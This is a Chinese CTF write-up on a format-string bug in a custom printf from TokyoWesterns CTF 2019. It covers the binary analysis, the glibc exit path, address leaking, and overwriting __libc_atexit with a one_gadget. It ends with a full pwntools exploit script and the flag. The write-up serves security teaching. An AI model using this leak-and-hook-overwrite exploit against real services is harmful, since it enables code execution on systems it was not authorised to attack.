TokyoWesterns CTF 2019 格式化漏洞利用的新姿势

阅读量479597

|评论2

|

发布时间 : 2019-09-09 15:35:15

 

0x01 前言

前天刚结束的TokyoWesterns CTF 2019里碰到一道比较有意思的格式化漏洞利用的题printf,这里分享一下解题思路。与常规fsb题不同的是,printf这题程序自己实现了printf函数。

题目下载:

链接:https://pan.baidu.com/s/1STlEFK7HoNZbW4JrYRSnIw 密码:2j77

 

0x02 分析

题目给了3个文件,除了常规的libc还额外给了一个ld.so,ld.so用于装载libc。一般,我们可以设置LD_PRELOAD环境变量选择强制装载特定版本的libc,但若是该libc与编译程序时所采用的libc版本相差太大,往往出现错误。

这里需要用到patchelf这个工具,执行以下命令,将libc和ld.so指向题目所给的文件

patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf
patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf

现在printf程序指向了题目所给libc和ld.so

~/workspace/elf # ldd printf
    linux-vdso.so.1 =>  (0x00007ffe09ac1000)
    libc.so.6 => /root/workspace/elf/libc.so.6 (0x00007fd7c5dd0000)
    /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fd7c5fbb000)

保护全部开启

~/workspace/elf # checksec printf
[*] '/root/workspace/elf/printf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/root/workspace/elf:/libc.so.6'

反编译printf程序,sub_136E实际上是程序自己实现的printf函数

_int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rdx
  __int64 v4; // rcx
  __int64 v5; // r8
  __int64 v6; // r9
  __int64 v7; // rdx
  __int64 v8; // rcx
  __int64 v9; // r8
  __int64 v10; // r9
  const unsigned __int16 **v11; // rax
  __int64 v12; // rdx
  __int64 v13; // rcx
  __int64 v14; // r8
  __int64 v15; // r9
  __int64 v16; // rdx
  __int64 v17; // rcx
  __int64 v18; // r8
  __int64 v19; // r9
  __int64 v20; // rdx
  __int64 v21; // rcx
  __int64 v22; // r8
  __int64 v23; // r9
  int i; // [rsp+8h] [rbp-118h]
  int v26; // [rsp+Ch] [rbp-114h]
  char buf[264]; // [rsp+10h] [rbp-110h]
  unsigned __int64 v28; // [rsp+118h] [rbp-8h]

  v28 = __readfsqword(0x28u);
  sub_130D();
  sub_136E((__int64)"What's your name?", (__int64)a2, v3, v4, v5, v6);
  v26 = read(0, buf, 0x100uLL);
  buf[v26 - 1] = 0;
  for ( i = 0; i < v26 - 1; ++i )
  {
    v11 = __ctype_b_loc();
    v7 = (__int64)*v11;
    if ( !((*v11)[buf[i]] & 0x4000) )
      _exit(1);
  }
  sub_136E((__int64)"Hi, ", (__int64)buf, v7, v8, v9, v10);
  sub_136E((__int64)buf, (__int64)buf, v12, v13, v14, v15);
  sub_136E((__int64)"Do you leave a comment?", (__int64)buf, v16, v17, v18, v19);
  buf[(signed int)((unsigned __int64)read(0, buf, 0x100uLL) - 1)] = 0;
  sub_136E((__int64)buf, (__int64)buf, v20, v21, v22, v23);
  return 0LL;
}

经过测试,这个“自己实现”的printf函数存在格式化漏洞

~/workspace/elf # ./printf
What's your name?
%lx %lx %lx %lx %lx %lx 
Hi, 
0 7f730b0db580 7f730b001024 4 7f730b0e0540 0 
Do you leave a comment?
%lx %lx %lx %lx %lx %lx                       
7ffcfcf0ec20 100 7f730b000f81 17 7f730b0e0540 0

利用格式化漏洞分别泄漏出stack地址、canary、libc基址、程序基址

由于Full RELRO开启,这里我们不能写got表。查看libc的exit.c源码:

/* Copyright (C) 1991-2019 Free Software Foundation, Inc.
   This file is part of the GNU C Library.
   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.
   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.
   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysdep.h>
#include <libc-lock.h>
#include "exit.h"
#include "set-hooks.h"
DEFINE_HOOK (__libc_atexit, (void))
/* Initialize the flag that indicates exit function processing
   is complete. See concurrency notes in stdlib/exit.h where
   __exit_funcs_lock is declared.  */
bool __exit_funcs_done = false;
/* Call all functions registered with `atexit' and `on_exit',
   in the reverse of the order in which they were registered
   perform stdio cleanup, and terminate program execution with STATUS.  */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
                     bool run_list_atexit, bool run_dtors)
{
  /* First, call the TLS destructors.  */
#ifndef SHARED
  if (&__call_tls_dtors != NULL)
#endif
    if (run_dtors)
      __call_tls_dtors ();
  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;
      __libc_lock_lock (__exit_funcs_lock);
    restart:
      cur = *listp;
      if (cur == NULL)
        {
          /* Exit processing complete.  We will not allow any more
             atexit/on_exit registrations.  */
          __exit_funcs_done = true;
          __libc_lock_unlock (__exit_funcs_lock);
          break;
        }
      while (cur->idx > 0)
        {
          struct exit_function *const f = &cur->fns[--cur->idx];
          const uint64_t new_exitfn_called = __new_exitfn_called;
          /* Unlock the list while we call a foreign function.  */
          __libc_lock_unlock (__exit_funcs_lock);
          switch (f->flavor)
            {
              void (*atfct) (void);
              void (*onfct) (int status, void *arg);
              void (*cxafct) (void *arg, int status);
            case ef_free:
            case ef_us:
              break;
            case ef_on:
              onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (onfct);
#endif
              onfct (status, f->func.on.arg);
              break;
            case ef_at:
              atfct = f->func.at;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (atfct);
#endif
              atfct ();
              break;
            case ef_cxa:
              /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
                 we must mark this function as ef_free.  */
              f->flavor = ef_free;
              cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
              PTR_DEMANGLE (cxafct);
#endif
              cxafct (f->func.cxa.arg, status);
              break;
            }
          /* Re-lock again before looking at global state.  */
          __libc_lock_lock (__exit_funcs_lock);
          if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
            /* The last exit function, or another thread, has registered
               more exit functions.  Start the loop over.  */
            goto restart;
        }
      *listp = cur->next;
      if (*listp != NULL)
        /* Don't free the last element in the chain, this is the statically
           allocate element.  */
        free (cur);
      __libc_lock_unlock (__exit_funcs_lock);
    }
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
  _exit (status);
}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

注意到__libc_atexit这个函数指针,当程序退出会调用exit函数,最终调用__libc_atexit所指向的地址

# RUN_HOOK (__libc_atexit, ());
...
# define DEFINE_HOOK_RUNNER(name, runner, proto, args) 
DEFINE_HOOK (name, proto); 
extern void runner proto; void runner proto { RUN_HOOK (name, args); }
...

现在问题就在于如何将one_gadget写入该地址。向buf随便输入一串字符(我这里输入one_gadget的值),在内存检索该值,一共找到两处:

继续组织这样一串字符输入到buf

pl = "%{}x{}".format(4096, p64(one_gadget))
s.ru("comment?")
s.sl(pl)

明显看到one_gadget往上了0x1000的偏移量进行写入,由于libc位于stack的上方,通过计算合适的偏移量便可用one_gadget覆盖__libc_atexit

当调用完__libc_start_main程序准备退出之时,我们跟进到libc的exit函数调用__libc_atexit的地方

可以在IDA里看到该处的代码

此时rbx的值,目标就是将0x7f7adebb46c8地址的值覆盖成one_gadget

来算算到达该地址所需要的偏移,这里的0xa80e835298便是偏移量

0x1e66c8__libc_atexit相对于libc基址的偏移,可以在IDA找到该结构

0x390是栈内地址偏移

与我们计算出来的偏移相符合

覆盖__libc_atexitone_gadget地址

 

0x03 get shell~

完整的EXP

#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import os, sys

# Setting at first
DEBUG = 3
LIBCV = 2.19
context.arch = "amd64"

#context.log_level = "debug"
elf = ELF("./printf",checksec=False)

# synonyms for faster typing
tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

if DEBUG == 1:
    if context.arch == "i386":
        libc = ELF("/lib/i386-linux-gnu/libc.so.6",checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
    s = process("./printf")
elif DEBUG == 2:
    if context.arch == "i386":
        libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86/libc.so.6",checksec=False)
        os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/x86/glibc-"+str(LIBCV)+"/x86/ld-linux-x86-64.so.2 printf")
        os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x86:/libc.so.6 printf")
    elif context.arch == "amd64":
        #libc = ELF("/root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/libc.so.6",checksec=False)
        #os.system("patchelf --set-interpreter /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64/ld-linux-x86-64.so.2 printf")
        #os.system("patchelf --set-rpath /root/toolchain/elf/glibc/glibc-"+str(LIBCV)+"/x64:/libc.so.6 printf")
        libc = ELF("./libc.so.6")
        #os.system("patchelf --set-interpreter /root/workspace/elf/ld-linux-x86-64-b6d3f5f70ba36f736a596a01829be4d619e373b4167b513d634c044ac7d74b94.so.2 printf")
        #os.system("patchelf --set-rpath /root/workspace/elf:/libc.so.6 printf")
    s = process("./printf")
elif DEBUG == 3:
    libc = ELF("./libc.so.6",checksec=False)
    ip = "printf.chal.ctf.westerns.tokyo" 
    port = 10001
    s = remote(ip,port)


def clean():
    s.close()

    if DEBUG == 2:
        if context.arch == "i386":
            os.system("patchelf --set-interpreter /lib/ld-linux.so.2 printf")
            os.system("patchelf --set-rpath /lib/i386-linux-gnu:/libc.so.6 printf")
        if context.arch == "amd64":
            os.system("patchelf --set-interpreter /lib64/ld-linux-x86-64.so.2 printf")
            os.system("patchelf --set-rpath /lib/x86_64-linux-gnu:/libc.so.6 printf")

def pwn():
    #zx(0x130B)
    #pause()

    pl = "%lx "*((0x100-4)/4)#64
    s.sla("What's your name?", pl)

    s.ru("Hi, n")
    leak = s.ru("Do").split(" ")

    libc.address = int(leak[2],16) - 0x10d024
    stack = int(leak[39],16)
    canary = int(leak[40],16)
    proc_base = int(leak[41],16) - 0x2a40
    one_gadget = libc.address + 0xe2383
    info("libc.address 0x%x", libc.address)
    info("stack 0x%x", stack)
    info("canary 0x%x", canary)
    info("proc_base 0x%x", proc_base)
    info("one_gadget 0x%x", one_gadget)

    atexit_stack_diff = stack - (libc.address + 0x1e66c8) - 0x390 + 8
    info("atexit_stack_diff 0x%x", atexit_stack_diff)

    pl = "%{}x{}".format(atexit_stack_diff, p64(one_gadget))
    s.ru("comment?")
    s.sl(pl)

    s.irt()
    #clean()
    # TWCTF{Pudding_Pudding_Pudding_purintoehu}

if __name__ == "__main__":
    pwn()

WIN~

本文由wooy0ung原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/185709

安全客 - 有思想的安全新媒体

分享到:微信
+17赞
收藏
wooy0ung
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66